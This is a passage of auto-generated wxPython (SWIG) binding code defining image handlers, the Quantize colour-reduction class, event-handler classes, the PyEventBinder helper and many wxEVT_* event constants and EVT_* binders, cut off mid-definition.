A `wx.ImageHandler` for PNM image files.\n \"\"\"\n _core_.PNMHandler_swiginit(self,_core_.new_PNMHandler(*args, **kwargs))\n_core_.PNMHandler_swigregister(PNMHandler)\n\nclass XPMHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for XPM image.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> XPMHandler\n\n A `wx.ImageHandler` for XPM image.\n \"\"\"\n _core_.XPMHandler_swiginit(self,_core_.new_XPMHandler(*args, **kwargs))\n_core_.XPMHandler_swigregister(XPMHandler)\n\nclass TIFFHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for TIFF image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> TIFFHandler\n\n A `wx.ImageHandler` for TIFF image files.\n \"\"\"\n _core_.TIFFHandler_swiginit(self,_core_.new_TIFFHandler(*args, **kwargs))\n_core_.TIFFHandler_swigregister(TIFFHandler)\n\nclass TGAHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for TGA image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> TGAHandler\n\n A `wx.ImageHandler` for TGA image files.\n \"\"\"\n _core_.TGAHandler_swiginit(self,_core_.new_TGAHandler(*args, **kwargs))\n_core_.TGAHandler_swigregister(TGAHandler)\n\nQUANTIZE_INCLUDE_WINDOWS_COLOURS = _core_.QUANTIZE_INCLUDE_WINDOWS_COLOURS\nQUANTIZE_FILL_DESTINATION_IMAGE = _core_.QUANTIZE_FILL_DESTINATION_IMAGE\nclass Quantize(object):\n \"\"\"Performs quantization, or colour reduction, on a wxImage.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Quantize(*args, **kwargs):\n \"\"\"\n Quantize(Image src, Image dest, int desiredNoColours=236, int flags=wxQUANTIZE_INCLUDE_WINDOWS_COLOURS|wxQUANTIZE_FILL_DESTINATION_IMAGE) -> bool\n\n Reduce the colours in the source image and put the result into the\n destination image, setting the palette in the destination if\n needed. Both images may be the same, to overwrite the source image.\n \"\"\"\n return _core_.Quantize_Quantize(*args, **kwargs)\n\n Quantize = staticmethod(Quantize)\n_core_.Quantize_swigregister(Quantize)\n\ndef Quantize_Quantize(*args, **kwargs):\n \"\"\"\n Quantize_Quantize(Image src, Image dest, int desiredNoColours=236, int flags=wxQUANTIZE_INCLUDE_WINDOWS_COLOURS|wxQUANTIZE_FILL_DESTINATION_IMAGE) -> bool\n\n Reduce the colours in the source image and put the result into the\n destination image, setting the palette in the destination if\n needed. Both images may be the same, to overwrite the source image.\n \"\"\"\n return _core_.Quantize_Quantize(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass EvtHandler(Object):\n \"\"\"Proxy of C++ EvtHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> EvtHandler\"\"\"\n _core_.EvtHandler_swiginit(self,_core_.new_EvtHandler(*args, **kwargs))\n self._setOORInfo(self)\n\n def GetNextHandler(*args, **kwargs):\n \"\"\"GetNextHandler(self) -> EvtHandler\"\"\"\n return _core_.EvtHandler_GetNextHandler(*args, **kwargs)\n\n def GetPreviousHandler(*args, **kwargs):\n \"\"\"GetPreviousHandler(self) -> EvtHandler\"\"\"\n return _core_.EvtHandler_GetPreviousHandler(*args, **kwargs)\n\n def SetNextHandler(*args, **kwargs):\n \"\"\"SetNextHandler(self, EvtHandler handler)\"\"\"\n return _core_.EvtHandler_SetNextHandler(*args, **kwargs)\n\n def SetPreviousHandler(*args, **kwargs):\n \"\"\"SetPreviousHandler(self, EvtHandler handler)\"\"\"\n return _core_.EvtHandler_SetPreviousHandler(*args, **kwargs)\n\n def GetEvtHandlerEnabled(*args, **kwargs):\n \"\"\"GetEvtHandlerEnabled(self) -> bool\"\"\"\n return _core_.EvtHandler_GetEvtHandlerEnabled(*args, **kwargs)\n\n def SetEvtHandlerEnabled(*args, **kwargs):\n \"\"\"SetEvtHandlerEnabled(self, bool enabled)\"\"\"\n return _core_.EvtHandler_SetEvtHandlerEnabled(*args, **kwargs)\n\n def ProcessEvent(*args, **kwargs):\n \"\"\"ProcessEvent(self, Event event) -> bool\"\"\"\n return _core_.EvtHandler_ProcessEvent(*args, **kwargs)\n\n def AddPendingEvent(*args, **kwargs):\n \"\"\"AddPendingEvent(self, Event event)\"\"\"\n return _core_.EvtHandler_AddPendingEvent(*args, **kwargs)\n\n def ProcessPendingEvents(*args, **kwargs):\n \"\"\"ProcessPendingEvents(self)\"\"\"\n return _core_.EvtHandler_ProcessPendingEvents(*args, **kwargs)\n\n def Connect(*args, **kwargs):\n \"\"\"Connect(self, int id, int lastId, int eventType, PyObject func)\"\"\"\n return _core_.EvtHandler_Connect(*args, **kwargs)\n\n def Disconnect(*args, **kwargs):\n \"\"\"\n Disconnect(self, int id, int lastId=-1, EventType eventType=wxEVT_NULL, \n PyObject func=None) -> bool\n \"\"\"\n return _core_.EvtHandler_Disconnect(*args, **kwargs)\n\n def _setOORInfo(*args, **kwargs):\n \"\"\"_setOORInfo(self, PyObject _self, bool incref=True)\"\"\"\n val = _core_.EvtHandler__setOORInfo(*args, **kwargs)\n args[0].this.own(False)\n return val\n\n def Bind(self, event, handler, source=None, id=wx.ID_ANY, id2=wx.ID_ANY):\n \"\"\"\n Bind an event to an event handler.\n\n :param event: One of the EVT_* objects that specifies the\n type of event to bind,\n\n :param handler: A callable object to be invoked when the\n event is delivered to self. Pass None to\n disconnect an event handler.\n\n :param source: Sometimes the event originates from a\n different window than self, but you still\n want to catch it in self. (For example, a\n button event delivered to a frame.) By\n passing the source of the event, the event\n handling system is able to differentiate\n between the same event type from different\n controls.\n\n :param id: Used to spcify the event source by ID instead\n of instance.\n\n :param id2: Used when it is desirable to bind a handler\n to a range of IDs, such as with EVT_MENU_RANGE.\n \"\"\"\n assert isinstance(event, wx.PyEventBinder)\n assert handler is None or callable(handler)\n assert source is None or hasattr(source, 'GetId')\n if source is not None:\n id = source.GetId()\n event.Bind(self, id, id2, handler) \n\n def Unbind(self, event, source=None, id=wx.ID_ANY, id2=wx.ID_ANY, handler=None):\n \"\"\"\n Disconnects the event handler binding for event from self.\n Returns True if successful.\n \"\"\"\n if source is not None:\n id = source.GetId()\n return event.Unbind(self, id, id2, handler) \n\n EvtHandlerEnabled = property(GetEvtHandlerEnabled,SetEvtHandlerEnabled,doc=\"See `GetEvtHandlerEnabled` and `SetEvtHandlerEnabled`\") \n NextHandler = property(GetNextHandler,SetNextHandler,doc=\"See `GetNextHandler` and `SetNextHandler`\") \n PreviousHandler = property(GetPreviousHandler,SetPreviousHandler,doc=\"See `GetPreviousHandler` and `SetPreviousHandler`\") \n_core_.EvtHandler_swigregister(EvtHandler)\n\nclass PyEvtHandler(EvtHandler):\n \"\"\"\n The wx.PyEvtHandler class can be used to intercept calls to the\n `ProcessEvent` method. Simply derive a new class from this one,\n override ProcessEvent, and then push an instance of the class onto the\n event handler chain for a window using `wx.Window.PushEventHandler`.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PyEvtHandler\n\n The wx.PyEvtHandler class can be used to intercept calls to the\n `ProcessEvent` method. Simply derive a new class from this one,\n override ProcessEvent, and then push an instance of the class onto the\n event handler chain for a window using `wx.Window.PushEventHandler`.\n \"\"\"\n _core_.PyEvtHandler_swiginit(self,_core_.new_PyEvtHandler(*args, **kwargs))\n self._setOORInfo(self);PyEvtHandler._setCallbackInfo(self, self, PyEvtHandler)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _core_.PyEvtHandler__setCallbackInfo(*args, **kwargs)\n\n def ProcessEvent(*args, **kwargs):\n \"\"\"\n ProcessEvent(self, Event event) -> bool\n\n Override this method to intercept the events being sent to the window.\n The default implementation searches the event tables and calls event\n handler functions if matching event bindings are found.\n \"\"\"\n return _core_.PyEvtHandler_ProcessEvent(*args, **kwargs)\n\n_core_.PyEvtHandler_swigregister(PyEvtHandler)\n\n#---------------------------------------------------------------------------\n\nclass PyEventBinder(object):\n \"\"\"\n Instances of this class are used to bind specific events to event\n handlers.\n \"\"\"\n def __init__(self, evtType, expectedIDs=0):\n if expectedIDs not in [0, 1, 2]:\n raise ValueError, \"Invalid number of expectedIDs\"\n self.expectedIDs = expectedIDs\n\n if type(evtType) == list or type(evtType) == tuple:\n self.evtType = evtType\n else:\n self.evtType = [evtType]\n\n\n def Bind(self, target, id1, id2, function):\n \"\"\"Bind this set of event types to target.\"\"\"\n for et in self.evtType:\n target.Connect(id1, id2, et, function)\n\n\n def Unbind(self, target, id1, id2, handler=None):\n \"\"\"Remove an event binding.\"\"\"\n success = 0\n for et in self.evtType:\n success += target.Disconnect(id1, id2, et, handler)\n return success != 0\n\n def _getEvtType(self):\n \"\"\"\n Make it easy to get to the default wxEventType typeID for this\n event binder.\n \"\"\"\n return self.evtType[0]\n \n typeId = property(_getEvtType)\n\n \n def __call__(self, *args):\n \"\"\"\n For backwards compatibility with the old EVT_* functions.\n Should be called with either (window, func), (window, ID,\n func) or (window, ID1, ID2, func) parameters depending on the\n type of the event.\n \"\"\"\n assert len(args) == 2 + self.expectedIDs\n id1 = wx.ID_ANY\n id2 = wx.ID_ANY\n target = args[0]\n if self.expectedIDs == 0:\n func = args[1]\n elif self.expectedIDs == 1:\n id1 = args[1]\n func = args[2]\n elif self.expectedIDs == 2:\n id1 = args[1]\n id2 = args[2]\n func = args[3]\n else:\n raise ValueError, \"Unexpected number of IDs\"\n\n self.Bind(target, id1, id2, func)\n\n\n# These two are square pegs that don't fit the PyEventBinder hole...\ndef EVT_COMMAND(win, id, cmd, func):\n win.Connect(id, -1, cmd, func)\ndef EVT_COMMAND_RANGE(win, id1, id2, cmd, func):\n win.Connect(id1, id2, cmd, func)\n\n \n#---------------------------------------------------------------------------\n\n#---------------------------------------------------------------------------\n\nEVENT_PROPAGATE_NONE = _core_.EVENT_PROPAGATE_NONE\nEVENT_PROPAGATE_MAX = _core_.EVENT_PROPAGATE_MAX\n\ndef NewEventType(*args):\n \"\"\"NewEventType() -> EventType\"\"\"\n return _core_.NewEventType(*args)\nwxEVT_NULL = _core_.wxEVT_NULL\nwxEVT_FIRST = _core_.wxEVT_FIRST\nwxEVT_USER_FIRST = _core_.wxEVT_USER_FIRST\nwxEVT_COMMAND_BUTTON_CLICKED = _core_.wxEVT_COMMAND_BUTTON_CLICKED\nwxEVT_COMMAND_CHECKBOX_CLICKED = _core_.wxEVT_COMMAND_CHECKBOX_CLICKED\nwxEVT_COMMAND_CHOICE_SELECTED = _core_.wxEVT_COMMAND_CHOICE_SELECTED\nwxEVT_COMMAND_LISTBOX_SELECTED = _core_.wxEVT_COMMAND_LISTBOX_SELECTED\nwxEVT_COMMAND_LISTBOX_DOUBLECLICKED = _core_.wxEVT_COMMAND_LISTBOX_DOUBLECLICKED\nwxEVT_COMMAND_CHECKLISTBOX_TOGGLED = _core_.wxEVT_COMMAND_CHECKLISTBOX_TOGGLED\nwxEVT_COMMAND_MENU_SELECTED = _core_.wxEVT_COMMAND_MENU_SELECTED\nwxEVT_COMMAND_TOOL_CLICKED = _core_.wxEVT_COMMAND_TOOL_CLICKED\nwxEVT_COMMAND_SLIDER_UPDATED = _core_.wxEVT_COMMAND_SLIDER_UPDATED\nwxEVT_COMMAND_RADIOBOX_SELECTED = _core_.wxEVT_COMMAND_RADIOBOX_SELECTED\nwxEVT_COMMAND_RADIOBUTTON_SELECTED = _core_.wxEVT_COMMAND_RADIOBUTTON_SELECTED\nwxEVT_COMMAND_SCROLLBAR_UPDATED = _core_.wxEVT_COMMAND_SCROLLBAR_UPDATED\nwxEVT_COMMAND_VLBOX_SELECTED = _core_.wxEVT_COMMAND_VLBOX_SELECTED\nwxEVT_COMMAND_COMBOBOX_SELECTED = _core_.wxEVT_COMMAND_COMBOBOX_SELECTED\nwxEVT_COMMAND_TOOL_RCLICKED = _core_.wxEVT_COMMAND_TOOL_RCLICKED\nwxEVT_COMMAND_TOOL_ENTER = _core_.wxEVT_COMMAND_TOOL_ENTER\nwxEVT_LEFT_DOWN = _core_.wxEVT_LEFT_DOWN\nwxEVT_LEFT_UP = _core_.wxEVT_LEFT_UP\nwxEVT_MIDDLE_DOWN = _core_.wxEVT_MIDDLE_DOWN\nwxEVT_MIDDLE_UP = _core_.wxEVT_MIDDLE_UP\nwxEVT_RIGHT_DOWN = _core_.wxEVT_RIGHT_DOWN\nwxEVT_RIGHT_UP = _core_.wxEVT_RIGHT_UP\nwxEVT_MOTION = _core_.wxEVT_MOTION\nwxEVT_ENTER_WINDOW = _core_.wxEVT_ENTER_WINDOW\nwxEVT_LEAVE_WINDOW = _core_.wxEVT_LEAVE_WINDOW\nwxEVT_LEFT_DCLICK = _core_.wxEVT_LEFT_DCLICK\nwxEVT_MIDDLE_DCLICK = _core_.wxEVT_MIDDLE_DCLICK\nwxEVT_RIGHT_DCLICK = _core_.wxEVT_RIGHT_DCLICK\nwxEVT_SET_FOCUS = _core_.wxEVT_SET_FOCUS\nwxEVT_KILL_FOCUS = _core_.wxEVT_KILL_FOCUS\nwxEVT_CHILD_FOCUS = _core_.wxEVT_CHILD_FOCUS\nwxEVT_MOUSEWHEEL = _core_.wxEVT_MOUSEWHEEL\nwxEVT_NC_LEFT_DOWN = _core_.wxEVT_NC_LEFT_DOWN\nwxEVT_NC_LEFT_UP = _core_.wxEVT_NC_LEFT_UP\nwxEVT_NC_MIDDLE_DOWN = _core_.wxEVT_NC_MIDDLE_DOWN\nwxEVT_NC_MIDDLE_UP = _core_.wxEVT_NC_MIDDLE_UP\nwxEVT_NC_RIGHT_DOWN = _core_.wxEVT_NC_RIGHT_DOWN\nwxEVT_NC_RIGHT_UP = _core_.wxEVT_NC_RIGHT_UP\nwxEVT_NC_MOTION = _core_.wxEVT_NC_MOTION\nwxEVT_NC_ENTER_WINDOW = _core_.wxEVT_NC_ENTER_WINDOW\nwxEVT_NC_LEAVE_WINDOW = _core_.wxEVT_NC_LEAVE_WINDOW\nwxEVT_NC_LEFT_DCLICK = _core_.wxEVT_NC_LEFT_DCLICK\nwxEVT_NC_MIDDLE_DCLICK = _core_.wxEVT_NC_MIDDLE_DCLICK\nwxEVT_NC_RIGHT_DCLICK = _core_.wxEVT_NC_RIGHT_DCLICK\nwxEVT_CHAR = _core_.wxEVT_CHAR\nwxEVT_CHAR_HOOK = _core_.wxEVT_CHAR_HOOK\nwxEVT_NAVIGATION_KEY = _core_.wxEVT_NAVIGATION_KEY\nwxEVT_KEY_DOWN = _core_.wxEVT_KEY_DOWN\nwxEVT_KEY_UP = _core_.wxEVT_KEY_UP\nwxEVT_HOTKEY = _core_.wxEVT_HOTKEY\nwxEVT_SET_CURSOR = _core_.wxEVT_SET_CURSOR\nwxEVT_SCROLL_TOP = _core_.wxEVT_SCROLL_TOP\nwxEVT_SCROLL_BOTTOM = _core_.wxEVT_SCROLL_BOTTOM\nwxEVT_SCROLL_LINEUP = _core_.wxEVT_SCROLL_LINEUP\nwxEVT_SCROLL_LINEDOWN = _core_.wxEVT_SCROLL_LINEDOWN\nwxEVT_SCROLL_PAGEUP = _core_.wxEVT_SCROLL_PAGEUP\nwxEVT_SCROLL_PAGEDOWN = _core_.wxEVT_SCROLL_PAGEDOWN\nwxEVT_SCROLL_THUMBTRACK = _core_.wxEVT_SCROLL_THUMBTRACK\nwxEVT_SCROLL_THUMBRELEASE = _core_.wxEVT_SCROLL_THUMBRELEASE\nwxEVT_SCROLL_CHANGED = _core_.wxEVT_SCROLL_CHANGED\nwxEVT_SCROLL_ENDSCROLL = wxEVT_SCROLL_CHANGED \nwxEVT_SCROLLWIN_TOP = _core_.wxEVT_SCROLLWIN_TOP\nwxEVT_SCROLLWIN_BOTTOM = _core_.wxEVT_SCROLLWIN_BOTTOM\nwxEVT_SCROLLWIN_LINEUP = _core_.wxEVT_SCROLLWIN_LINEUP\nwxEVT_SCROLLWIN_LINEDOWN = _core_.wxEVT_SCROLLWIN_LINEDOWN\nwxEVT_SCROLLWIN_PAGEUP = _core_.wxEVT_SCROLLWIN_PAGEUP\nwxEVT_SCROLLWIN_PAGEDOWN = _core_.wxEVT_SCROLLWIN_PAGEDOWN\nwxEVT_SCROLLWIN_THUMBTRACK = _core_.wxEVT_SCROLLWIN_THUMBTRACK\nwxEVT_SCROLLWIN_THUMBRELEASE = _core_.wxEVT_SCROLLWIN_THUMBRELEASE\nwxEVT_SIZE = _core_.wxEVT_SIZE\nwxEVT_MOVE = _core_.wxEVT_MOVE\nwxEVT_CLOSE_WINDOW = _core_.wxEVT_CLOSE_WINDOW\nwxEVT_END_SESSION = _core_.wxEVT_END_SESSION\nwxEVT_QUERY_END_SESSION = _core_.wxEVT_QUERY_END_SESSION\nwxEVT_ACTIVATE_APP = _core_.wxEVT_ACTIVATE_APP\nwxEVT_ACTIVATE = _core_.wxEVT_ACTIVATE\nwxEVT_CREATE = _core_.wxEVT_CREATE\nwxEVT_DESTROY = _core_.wxEVT_DESTROY\nwxEVT_SHOW = _core_.wxEVT_SHOW\nwxEVT_ICONIZE = _core_.wxEVT_ICONIZE\nwxEVT_MAXIMIZE = _core_.wxEVT_MAXIMIZE\nwxEVT_MOUSE_CAPTURE_CHANGED = _core_.wxEVT_MOUSE_CAPTURE_CHANGED\nwxEVT_MOUSE_CAPTURE_LOST = _core_.wxEVT_MOUSE_CAPTURE_LOST\nwxEVT_PAINT = _core_.wxEVT_PAINT\nwxEVT_ERASE_BACKGROUND = _core_.wxEVT_ERASE_BACKGROUND\nwxEVT_NC_PAINT = _core_.wxEVT_NC_PAINT\nwxEVT_PAINT_ICON = _core_.wxEVT_PAINT_ICON\nwxEVT_MENU_OPEN = _core_.wxEVT_MENU_OPEN\nwxEVT_MENU_CLOSE = _core_.wxEVT_MENU_CLOSE\nwxEVT_MENU_HIGHLIGHT = _core_.wxEVT_MENU_HIGHLIGHT\nwxEVT_CONTEXT_MENU = _core_.wxEVT_CONTEXT_MENU\nwxEVT_SYS_COLOUR_CHANGED = _core_.wxEVT_SYS_COLOUR_CHANGED\nwxEVT_DISPLAY_CHANGED = _core_.wxEVT_DISPLAY_CHANGED\nwxEVT_SETTING_CHANGED = _core_.wxEVT_SETTING_CHANGED\nwxEVT_QUERY_NEW_PALETTE = _core_.wxEVT_QUERY_NEW_PALETTE\nwxEVT_PALETTE_CHANGED = _core_.wxEVT_PALETTE_CHANGED\nwxEVT_DROP_FILES = _core_.wxEVT_DROP_FILES\nwxEVT_DRAW_ITEM = _core_.wxEVT_DRAW_ITEM\nwxEVT_MEASURE_ITEM = _core_.wxEVT_MEASURE_ITEM\nwxEVT_COMPARE_ITEM = _core_.wxEVT_COMPARE_ITEM\nwxEVT_INIT_DIALOG = _core_.wxEVT_INIT_DIALOG\nwxEVT_IDLE = _core_.wxEVT_IDLE\nwxEVT_UPDATE_UI = _core_.wxEVT_UPDATE_UI\nwxEVT_SIZING = _core_.wxEVT_SIZING\nwxEVT_MOVING = _core_.wxEVT_MOVING\nwxEVT_HIBERNATE = _core_.wxEVT_HIBERNATE\nwxEVT_COMMAND_TEXT_COPY = _core_.wxEVT_COMMAND_TEXT_COPY\nwxEVT_COMMAND_TEXT_CUT = _core_.wxEVT_COMMAND_TEXT_CUT\nwxEVT_COMMAND_TEXT_PASTE = _core_.wxEVT_COMMAND_TEXT_PASTE\nwxEVT_COMMAND_LEFT_CLICK = _core_.wxEVT_COMMAND_LEFT_CLICK\nwxEVT_COMMAND_LEFT_DCLICK = _core_.wxEVT_COMMAND_LEFT_DCLICK\nwxEVT_COMMAND_RIGHT_CLICK = _core_.wxEVT_COMMAND_RIGHT_CLICK\nwxEVT_COMMAND_RIGHT_DCLICK = _core_.wxEVT_COMMAND_RIGHT_DCLICK\nwxEVT_COMMAND_SET_FOCUS = _core_.wxEVT_COMMAND_SET_FOCUS\nwxEVT_COMMAND_KILL_FOCUS = _core_.wxEVT_COMMAND_KILL_FOCUS\nwxEVT_COMMAND_ENTER = _core_.wxEVT_COMMAND_ENTER\n#\n# Create some event binders\nEVT_SIZE = wx.PyEventBinder( wxEVT_SIZE )\nEVT_SIZING = wx.PyEventBinder( wxEVT_SIZING )\nEVT_MOVE = wx.PyEventBinder( wxEVT_MOVE )\nEVT_MOVING = wx.PyEventBinder( wxEVT_MOVING )\nEVT_CLOSE = wx.PyEventBinder( wxEVT_CLOSE_WINDOW )\nEVT_END_SESSION = wx.PyEventBinder( wxEVT_END_SESSION )\nEVT_QUERY_END_SESSION = wx.PyEventBinder( wxEVT_QUERY_END_SESSION )\nEVT_PAINT = wx.PyEventBinder( wxEVT_PAINT )\nEVT_NC_PAINT = wx.PyEventBinder( wxEVT_NC_PAINT )\nEVT_ERASE_BACKGROUND = wx.PyEventBinder( wxEVT_ERASE_BACKGROUND )\nEVT_CHAR = wx.PyEventBinder( wxEVT_CHAR )\nEVT_KEY_DOWN = wx.PyEventBinder( wxEVT_KEY_DOWN )\nEVT_KEY_UP = wx.PyEventBinder( wxEVT_KEY_UP )\nEVT_HOTKEY = wx.PyEventBinder( wxEVT_HOTKEY, 1)\nEVT_CHAR_HOOK = wx.PyEventBinder( wxEVT_CHAR_HOOK )\nEVT_MENU_OPEN = wx.PyEventBinder( wxEVT_MENU_OPEN )\nEVT_MENU_CLOSE = wx.PyEventBinder( wxEVT_MENU_CLOSE )\nEVT_MENU_HIGHLIGHT = wx.PyEventBinder( wxEVT_MENU_HIGHLIGHT, 1)\nEVT_MENU_HIGHLIGHT_ALL = wx.PyEventBinder( wxEVT_MENU_HIGHLIGHT )\nEVT_SET_FOCUS = wx.PyEventBinder( wxEVT_SET_FOCUS )\nEVT_KILL_FOCUS = wx.PyEventBinder( wxEVT_KILL_FOCUS )\nEVT_CHILD_FOCUS = wx.PyEventBinder( wxEVT_CHILD_FOCUS )\nEVT_ACTIVATE = wx.PyEventBinder( wxEVT_ACTIVATE )\nEVT_ACTIVATE_APP = wx.PyEventBinder( wxEVT_ACTIVATE_APP )\nEVT_HIBERNATE = wx.PyEventBinder( wxEVT_HIBERNATE )\nEVT_END_SESSION = wx.PyEventBinder( wxEVT_END_SESSION )\nEVT_QUERY_END_SESSION = wx.PyEventBinder( wxEVT_QUERY_END_SESSION )\nEVT_DROP_FILES = wx.PyEventBinder( wxEVT_DROP_FILES )\nEVT_INIT_DIALOG = wx.PyEventBinder( wxEVT_INIT_DIALOG )\nEVT_SYS_COLOUR_CHANGED = wx.PyEventBinder( wxEVT_SYS_COLOUR_CHANGED )\nEVT_DISPLAY_CHANGED = wx.PyEventBinder( wxEVT_DISPLAY_CHANGED )\nEVT_SHOW = wx.PyEventBinder( wxEVT_SHOW )\nEVT_MAXIMIZE = wx.PyEventBinder( wxEVT_MAXIMIZE )\nEVT_ICONIZE = wx.PyEventBinder( wxEVT_ICONIZE )\nEVT_NAVIGATION_KEY = wx.PyEventBinder( wxEVT_NAVIGATION_KEY )\nEVT_PALETTE_CHANGED = wx.PyEventBinder( wxEVT_PALETTE_CHANGED )\nEVT_QUERY_NEW_PALETTE = wx.PyEventBinder( wxEVT_QUERY_NEW_PALETTE )\nEVT_WINDOW_CREATE = wx.PyEventBinder( wxEVT_CREATE )\nEVT_WINDOW_DESTROY = wx.PyEventBinder( wxEVT_DESTROY )\nEVT_SET_CURSOR = wx.PyEventBinder( wxEVT_SET_CURSOR )\nEVT_MOUSE_CAPTURE_CHANGED = wx.PyEventBinder( wxEVT_MOUSE_CAPTURE_CHANGED )\nEVT_MOUSE_CAPTURE_LOST = wx.PyEventBinder( wxEVT_MOUSE_CAPTURE_LOST ) \n\nEVT_LEFT_DOWN = wx.PyEventBinder( wxEVT_LEFT_DOWN )\nEVT_LEFT_UP = wx.PyEventBinder( wxEVT_LEFT_UP )\nEVT_MIDDLE_DOWN = wx.PyEventBinder( wxEVT_MIDDLE_DOWN )\nEVT_MIDDLE_UP = wx.PyEventBinder( wxEVT_MIDDLE_UP )\nEVT_RIGHT_DOWN = wx.PyEventBinder( wxEVT_RIGHT_DOWN )\nEVT_RIGHT_UP = wx.PyEventBinder( wxEVT_RIGHT_UP )\nEVT_MOTION = wx.PyEventBinder( wxEVT_MOTION )\nEVT_LEFT_DCLICK = wx.PyEventBinder( wxEVT_LEFT_DCLICK )\nEVT_MIDDLE_DCLICK = wx.PyEventBinder( wxEVT_MIDDLE_DCLICK )\nEVT_RIGHT_DCLICK = wx.PyEventBinder( wxEVT_RIGHT_DCLICK )\nEVT_LEAVE_WINDOW = wx.PyEventBinder( wxEVT_LEAVE_WINDOW )\nEVT_ENTER_WINDOW = wx.PyEventBinder( wxEVT_ENTER_WINDOW )\nEVT_MOUSEWHEEL = wx.PyEventBinder( wxEVT_MOUSEWHEEL )\n\nEVT_MOUSE_EVENTS = wx.PyEventBinder([ wxEVT_LEFT_DOWN,\n wxEVT_LEFT_UP,\n wxEVT_MIDDLE_DOWN,\n wxEVT_MIDDLE_UP,\n wxEVT_RIGHT_DOWN,\n wxEVT_RIGHT_UP,\n wxEVT_MOTION,\n wxEVT_LEFT_DCLICK,\n wxEVT_MIDDLE_DCLICK,\n wxEVT_RIGHT_DCLICK,\n wxEVT_ENTER_WINDOW,\n wxEVT_LEAVE_WINDOW,\n wxEVT_MOUSEWHEEL\n ])\n\n\n# Scrolling from wxWindow (sent to wxScrolledWindow)\nEVT_SCROLLWIN = wx.PyEventBinder([ wxEVT_SCROLLWIN_TOP,\n wxEVT_SCROLLWIN_BOTTOM,\n wxEVT_SCROLLWIN_LINEUP,\n wxEVT_SCROLLWIN_LINEDOWN,\n wxEVT_SCROLLWIN_PAGEUP,\n wxEVT_SCROLLWIN_PAGEDOWN,\n wxEVT_SCROLLWIN_THUMBTRACK,\n wxEVT_SCROLLWIN_THUMBRELEASE,\n ])\n\nEVT_SCROLLWIN_TOP = wx.PyEventBinder( wxEVT_SCROLLWIN_TOP )\nEVT_SCROLLWIN_BOTTOM = wx.PyEventBinder( wxEVT_SCROLLWIN_BOTTOM )\nEVT_SCROLLWIN_LINEUP = wx.PyEventBinder( wxEVT_SCROLLWIN_LINEUP )\nEVT_SCROLLWIN_LINEDOWN = wx.PyEventBinder( wxEVT_SCROLLWIN_LINEDOWN )\nEVT_SCROLLWIN_PAGEUP = wx.PyEventBinder( wxEVT_SCROLLWIN_PAGEUP )\nEVT_SCROLLWIN_PAGEDOWN = wx.PyEventBinder( wxEVT_SCROLLWIN_PAGEDOWN )\nEVT_SCROLLWIN_THUMBTRACK = wx.PyEventBinder( wxEVT_SCROLLWIN_THUMBTRACK )\nEVT_SCROLLWIN_THUMBRELEASE = wx.PyEventBinder( wxEVT_SCROLLWIN_THUMBRELEASE )\n\n# Scrolling from wx.Slider and wx.ScrollBar\nEVT_SCROLL = wx.PyEventBinder([ wxEVT_SCROLL_TOP,\n wxEVT_SCROLL_BOTTOM,\n wxEVT_SCROLL_LINEUP,\n wxEVT_SCROLL_LINEDOWN,\n wxEVT_SCROLL_PAGEUP,\n wxEVT_SCROLL_PAGEDOWN,\n wxEVT_SCROLL_THUMBTRACK,\n wxEVT_SCROLL_THUMBRELEASE,\n wxEVT_SCROLL_CHANGED,\n ])\n\nEVT_SCROLL_TOP = wx.PyEventBinder( wxEVT_SCROLL_TOP )\nEVT_SCROLL_BOTTOM = wx.PyEventBinder( wxEVT_SCROLL_BOTTOM )\nEVT_SCROLL_LINEUP = wx.PyEventBinder( wxEVT_SCROLL_LINEUP )\nEVT_SCROLL_LINEDOWN = wx.PyEventBinder( wxEVT_SCROLL_LINEDOWN )\nEVT_SCROLL_PAGEUP = wx.PyEventBinder( wxEVT_SCROLL_PAGEUP )\nEVT_SCROLL_PAGEDOWN = wx.PyEventBinder( wxEVT_SCROLL_PAGEDOWN )\nEVT_SCROLL_THUMBTRACK = wx.PyEventBinder( wxEVT_SCROLL_THUMBTRACK )\nEVT_SCROLL_THUMBRELEASE = wx.PyEventBinder( wxEVT_SCROLL_THUMBRELEASE )\nEVT_SCROLL_CHANGED = wx.PyEventBinder( wxEVT_SCROLL_CHANGED )\nEVT_SCROLL_ENDSCROLL = EVT_SCROLL_CHANGED\n\n# Scrolling from wx.Slider and wx.ScrollBar, with an id\nEVT_COMMAND_SCROLL = wx.PyEventBinder([ wxEVT_SCROLL_TOP,\n wxEVT_SCROLL_BOTTOM,\n wxEVT_SCROLL_LINEUP,\n wxEVT_SCROLL_LINEDOWN,\n wxEVT_SCROLL_PAGEUP,\n wxEVT_SCROLL_PAGEDOWN,\n wxEVT_SCROLL_THUMBTRACK,\n wxEVT_SCROLL_THUMBRELEASE,\n wxEVT_SCROLL_CHANGED,\n ], 1)\n\nEVT_COMMAND_SCROLL_TOP = wx.PyEventBinder( wxEVT_SCROLL_TOP, 1)\nEVT_COMMAND_SCROLL_BOTTOM = wx.PyEventBinder( wxEVT_SCROLL_BOTTOM, 1)\nEVT_COMMAND_SCROLL_LINEUP = wx.PyEventBinder( wxEVT_SCROLL_LINEUP, 